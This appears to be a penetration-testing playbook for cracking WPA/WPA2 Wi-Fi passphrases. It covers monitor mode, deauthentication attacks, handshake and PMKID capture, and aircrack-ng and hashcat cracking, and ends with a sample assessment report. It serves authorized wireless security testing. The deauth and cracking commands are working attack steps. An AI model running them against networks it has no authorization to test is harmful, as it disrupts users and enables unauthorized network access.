Performing WiFi Password Cracking with Aircrack-ng

When to Use

• Assessing the strength of WPA/WPA2/WPA3 passphrases during authorized wireless penetration tests
• Testing whether wireless networks are using weak or default passwords that can be cracked offline
• Capturing and analyzing 4-way handshakes to evaluate wireless authentication security
• Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders
• Validating that enterprise wireless networks use 802.1X/EAP instead of pre-shared keys

Do not use against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.

Prerequisites

• Written authorization specifying in-scope SSIDs and wireless networks
• Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)
• Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed
• Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)
• GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)

Workflow

Step 1: Prepare the Wireless Interface

bash
# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Step 2: Scan for Target Networks

bash
# Scan all channels for access points
sudo airodump-ng wlan0mon

# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork

# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)

# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Step 3: Capture the WPA2 4-Way Handshake

bash
# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

Step 4: Crack with Aircrack-ng (CPU-based)

bash
# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

Step 5: Crack with Hashcat (GPU-accelerated)

bash
# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force 8-character numeric passwords
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# Combination attack (two wordlists combined)
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt

# Mask attack for common patterns (Word + 4 digits)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d

# For PMKID-specific hashes
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

# Show cracked password
hashcat -m 22000 hashcat_input.hc22000 --show

Step 6: Document and Clean Up

bash
# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart networking services
sudo systemctl restart NetworkManager

# Generate report
cat > wifi_assessment_report.txt << 'EOF'
WiFi Security Assessment Results
=================================
Target SSID: TargetNetwork
BSSID: AA:BB:CC:DD:EE:FF
Encryption: WPA2-PSK (CCMP)
Channel: 6

Handshake Capture: Successful (Method: Client deauthentication)
Cracking Result: PASSWORD FOUND
Password: [documented securely]
Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)

Recommendation: Change to a passphrase of 15+ characters with mixed case,
numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X.
EOF

# Securely handle capture files (contain sensitive authentication material)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# Transfer to secure evidence storage per engagement agreement

Key Concepts

| Term | Definition | |------|------------| | 4-Way Handshake | WPA/WPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking | | PMKID | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client | | Monitor Mode | Wireless interface mode that captures all wireless frames on a channel without associating with any access point | | Deauthentication Attack | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake | | PSK (Pre-Shared Key) | Static password used by all users to authenticate to a WPA/WPA2-Personal network, vulnerable to offline dictionary attacks | | 802.1X/EAP | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability |

Tools & Systems

• aircrack-ng suite: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)
• hashcat: GPU-accelerated password cracker supporting WPA/WPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks
• hcxtools: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats
• hcxdumptool: Capture tool specifically designed for PMKID extraction without requiring client deauthentication
• cowpatty: WPA/WPA2 cracking tool with precomputed hash table support for faster dictionary attacks

Common Scenarios

Scenario: Wireless Penetration Test for a Corporate Office

Context: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.

Approach:

1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types
2. Verify that Corp-WiFi uses 802.1X/EAP by examining beacon frames -- confirmed, no PSK to crack
3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection
4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password "Welcome2024!" cracked in 47 seconds
5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password "iot12345" found in 12 seconds
6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable
7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase

Pitfalls:

• Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope
• Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)
• Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)
• Running GPU cracking on shared systems without monitoring temperature and power consumption

Output Format

## Wireless Security Assessment Report

**Assessment Date**: 2024-03-15
**Location**: Corporate Office, Building A

### Network Inventory

| SSID | BSSID | Encryption | Auth | Channel | Crackable |
|------|-------|------------|------|---------|-----------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |

### Findings

**Finding 1: Weak Guest-WiFi Password (High)**
- Password: "Welcome2024!" (cracked via dictionary in 47 seconds)
- Present in rockyou.txt top 100,000 entries
- Shared among all visitors with no rotation policy

**Finding 2: Trivial IoT-WiFi Password (Critical)**
- Password: "iot12345" (cracked in 12 seconds)
- Default-pattern password providing access to IoT device network
- No network segmentation between IoT-WiFi and corporate resources

### Recommendations
1. Migrate Guest-WiFi to captive portal with per-session credentials
2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation
3. Implement network segmentation isolating IoT VLAN from corporate resources
4. Consider WPA3-SAE for PSK networks to prevent offline cracking
5. Enable 802.11w Protected Management Frames to prevent deauth attacks